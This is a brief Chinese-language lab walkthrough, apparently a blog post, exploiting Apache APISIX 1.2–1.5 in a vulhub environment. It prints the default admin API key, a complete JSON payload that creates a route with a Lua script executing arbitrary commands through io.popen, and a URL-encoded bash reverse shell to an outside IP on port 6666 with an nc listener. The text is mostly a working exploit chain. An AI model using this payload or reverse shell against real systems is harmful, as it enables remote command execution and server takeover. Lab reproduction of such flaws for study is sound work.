一、开启vulhub环境
docker-compose up -d 启动
docker ps 查看开放的端口
漏洞范围
Apache APISIX 1.2~1.5
二、访问靶机IP 9080端口
1、拼接apisix/admin/routes
路由
发现其特征为failed to check token
2、抓取当前页面的包,并修改为post请求,添加以下payload
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1 请求头部添加内容{"uri": "/test",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M","upstream": {"type": "roundrobin","nodes": {"example.com:80": 1}}
}
三、获取系统权限
1、此时,我们访问添加成功的恶意路由文件test,可以进行命令执行
2、既然可以执行命令,尝试执行反弹shell语句
bash%20-i%20%3E%26%20/dev/tcp/47.121.133.57/6666%200%3E%261 这里需要url编码
3、nc监听6666端口
至此,权限成功拿下。
下期再见,家人们。